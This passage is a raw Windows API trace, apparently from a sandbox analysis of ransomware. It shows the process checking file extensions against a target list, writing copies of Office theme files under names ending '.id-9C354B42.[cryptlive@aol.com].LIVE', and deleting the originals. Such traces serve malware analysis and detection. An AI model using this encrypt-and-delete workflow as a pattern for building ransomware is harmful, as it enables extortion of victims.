lpNumberOfBytesRead=0x328fed4*=0x696d, lpOverlapped=0x0) returned 1 [0135.655] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x6970, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x6970, lpOverlapped=0x0) returned 1 [0135.657] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.657] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0135.657] SetEndOfFile (hFile=0x3b8) returned 1 [0135.657] CloseHandle (hObject=0x3b8) returned 1 [0135.657] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.657] SetEndOfFile (hFile=0x3b4) returned 1 [0135.662] CloseHandle (hObject=0x3b4) returned 1 [0135.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 1 [0135.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0135.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0135.663] lstrlenW (lpString=".doc") returned 4 [0135.663] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.663] lstrlenW (lpString=".docx") returned 5 [0135.663] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.663] lstrlenW (lpString=".pdf") returned 4 [0135.663] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.663] lstrlenW (lpString=".xls") returned 4 [0135.663] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.663] lstrlenW (lpString=".xlsx") returned 5 [0135.663] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.663] lstrlenW (lpString=".ppt") returned 4 [0135.663] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0135.663] lstrlenW (lpString=".zip") returned 4 [0135.663] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.663] lstrlenW (lpString=".rar") returned 4 [0135.663] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.663] lstrlenW (lpString=".bz2") returned 4 [0135.663] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.663] lstrlenW (lpString=".7z") returned 3 [0135.663] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0135.663] lstrlenW (lpString=".dbf") returned 4 [0135.663] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0135.663] lstrlenW (lpString=".1cd") returned 4 [0135.663] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0135.663] lstrlenW (lpString=".jpg") returned 4 [0135.663] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0135.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0135.664] lstrlenW (lpString=".doc") returned 4 [0135.664] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.664] lstrlenW (lpString=".docx") returned 5 [0135.664] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.664] lstrlenW (lpString=".pdf") returned 4 [0135.664] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.664] lstrlenW (lpString=".xls") returned 4 [0135.664] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.664] lstrlenW (lpString=".xlsx") returned 5 [0135.664] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.664] lstrlenW (lpString=".ppt") returned 4 [0135.664] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0135.664] lstrlenW (lpString=".zip") returned 4 [0135.664] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.664] lstrlenW (lpString=".rar") returned 4 [0135.664] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.664] lstrlenW (lpString=".bz2") returned 4 [0135.664] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.664] lstrlenW (lpString=".7z") returned 3 [0135.664] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0135.664] lstrlenW (lpString=".dbf") returned 4 [0135.664] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0135.664] lstrlenW (lpString=".1cd") returned 4 [0135.664] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0135.664] lstrlenW (lpString=".jpg") returned 4 [0135.664] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.665] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.665] lstrlenW (lpString="Concourse.eftx") returned 14 [0135.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0135.668] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=22417) returned 1 [0135.668] CloseHandle (hObject=0x3b4) returned 1 [0135.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 0x20 [0135.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0135.669] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.669] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0135.670] GetLastError () returned 0x0 [0135.670] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x5791, lpOverlapped=0x0) returned 1 [0135.674] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x57a0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x57a0, lpOverlapped=0x0) returned 1 [0135.675] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.675] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0135.675] SetEndOfFile (hFile=0x3b8) returned 1 [0135.675] CloseHandle (hObject=0x3b8) returned 1 [0135.675] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.675] SetEndOfFile (hFile=0x3b4) returned 1 [0135.678] CloseHandle (hObject=0x3b4) returned 1 [0135.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 1 [0135.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0135.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0135.680] lstrlenW (lpString=".doc") returned 4 [0135.680] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.680] lstrlenW (lpString=".docx") returned 5 [0135.680] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.680] lstrlenW (lpString=".pdf") returned 4 [0135.680] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.680] lstrlenW (lpString=".xls") returned 4 [0135.680] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.680] lstrlenW (lpString=".xlsx") returned 5 [0135.680] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.680] lstrlenW (lpString=".ppt") returned 4 [0135.680] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0135.680] lstrlenW (lpString=".zip") returned 4 [0135.680] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.680] lstrlenW (lpString=".rar") returned 4 [0135.680] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.680] lstrlenW (lpString=".bz2") returned 4 [0135.680] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.680] lstrlenW (lpString=".7z") returned 3 [0135.680] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0135.680] lstrlenW (lpString=".dbf") returned 4 [0135.680] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0135.680] lstrlenW (lpString=".1cd") returned 4 [0135.680] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0135.680] lstrlenW (lpString=".jpg") returned 4 [0135.681] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0135.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0135.681] lstrlenW (lpString=".doc") returned 4 [0135.681] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.681] lstrlenW (lpString=".docx") returned 5 [0135.681] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.681] lstrlenW (lpString=".pdf") returned 4 [0135.681] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.681] lstrlenW (lpString=".xls") returned 4 [0135.681] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.681] lstrlenW (lpString=".xlsx") returned 5 [0135.681] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.681] lstrlenW (lpString=".ppt") returned 4 [0135.681] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0135.681] lstrlenW (lpString=".zip") returned 4 [0135.681] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.681] lstrlenW (lpString=".rar") returned 4 [0135.681] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.681] lstrlenW (lpString=".bz2") returned 4 [0135.681] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.681] lstrlenW (lpString=".7z") returned 3 [0135.681] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0135.681] lstrlenW (lpString=".dbf") returned 4 [0135.681] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0135.681] lstrlenW (lpString=".1cd") returned 4 [0135.681] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0135.681] lstrlenW (lpString=".jpg") returned 4 [0135.681] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.682] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.682] lstrlenW (lpString="Couture.eftx") returned 12 [0135.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0135.683] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1967905) returned 1 [0135.683] CloseHandle (hObject=0x3b4) returned 1 [0135.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx")) returned 0x20 [0135.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0135.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0135.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0135.684] lstrlenW (lpString=".doc") returned 4 [0135.684] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.684] lstrlenW (lpString=".docx") returned 5 [0135.684] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.684] lstrlenW (lpString=".pdf") returned 4 [0135.684] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.684] lstrlenW (lpString=".xls") returned 4 [0135.684] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.684] lstrlenW (lpString=".xlsx") returned 5 [0135.684] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.684] lstrlenW (lpString=".ppt") returned 4 [0135.684] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0135.684] lstrlenW (lpString=".zip") returned 4 [0135.684] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.684] lstrlenW (lpString=".rar") returned 4 [0135.813] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.813] lstrlenW (lpString=".bz2") returned 4 [0135.813] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.813] lstrlenW (lpString=".7z") returned 3 [0135.813] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0135.813] lstrlenW (lpString=".dbf") returned 4 [0135.813] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0135.813] lstrlenW (lpString=".1cd") returned 4 [0135.813] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0135.813] lstrlenW (lpString=".jpg") returned 4 [0135.813] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0135.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0135.813] lstrlenW (lpString=".doc") returned 4 [0135.813] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.813] lstrlenW (lpString=".docx") returned 5 [0135.813] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.813] lstrlenW (lpString=".pdf") returned 4 [0135.813] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.813] lstrlenW (lpString=".xls") returned 4 [0135.813] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.813] lstrlenW (lpString=".xlsx") returned 5 [0135.813] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.813] lstrlenW (lpString=".ppt") returned 4 [0135.813] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0135.813] lstrlenW (lpString=".zip") returned 4 [0135.813] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.813] lstrlenW (lpString=".rar") returned 4 [0135.813] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.813] lstrlenW (lpString=".bz2") returned 4 [0135.814] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.814] lstrlenW (lpString=".7z") returned 3 [0135.814] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0135.814] lstrlenW (lpString=".dbf") returned 4 [0135.814] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0135.814] lstrlenW (lpString=".1cd") returned 4 [0135.814] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0135.814] lstrlenW (lpString=".jpg") returned 4 [0135.814] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.814] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.814] lstrlenW (lpString="Elemental.eftx") returned 14 [0135.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.922] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=314017) returned 1 [0135.922] CloseHandle (hObject=0x388) returned 1 [0135.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 0x20 [0135.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0136.249] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.249] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.536] GetLastError () returned 0x0 [0136.537] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x4caa1, lpOverlapped=0x0) returned 1 [0136.545] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x4cab0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x4cab0, lpOverlapped=0x0) returned 1 [0136.551] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.551] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0136.551] SetEndOfFile (hFile=0x3b0) returned 1 [0136.551] CloseHandle (hObject=0x3b0) returned 1 [0136.552] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.552] SetEndOfFile (hFile=0x3a8) returned 1 [0136.562] CloseHandle (hObject=0x3a8) returned 1 [0136.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 1 [0136.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0136.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0136.581] lstrlenW (lpString=".doc") returned 4 [0136.581] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.581] lstrlenW (lpString=".docx") returned 5 [0136.581] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.581] lstrlenW (lpString=".pdf") returned 4 [0136.581] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.581] lstrlenW (lpString=".xls") returned 4 [0136.581] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.581] lstrlenW (lpString=".xlsx") returned 5 [0136.581] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.581] lstrlenW (lpString=".ppt") returned 4 [0136.581] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0136.581] lstrlenW (lpString=".zip") returned 4 [0136.581] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.581] lstrlenW (lpString=".rar") returned 4 [0136.581] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.581] lstrlenW (lpString=".bz2") returned 4 [0136.581] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.581] lstrlenW (lpString=".7z") returned 3 [0136.581] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0136.582] lstrlenW (lpString=".dbf") returned 4 [0136.582] 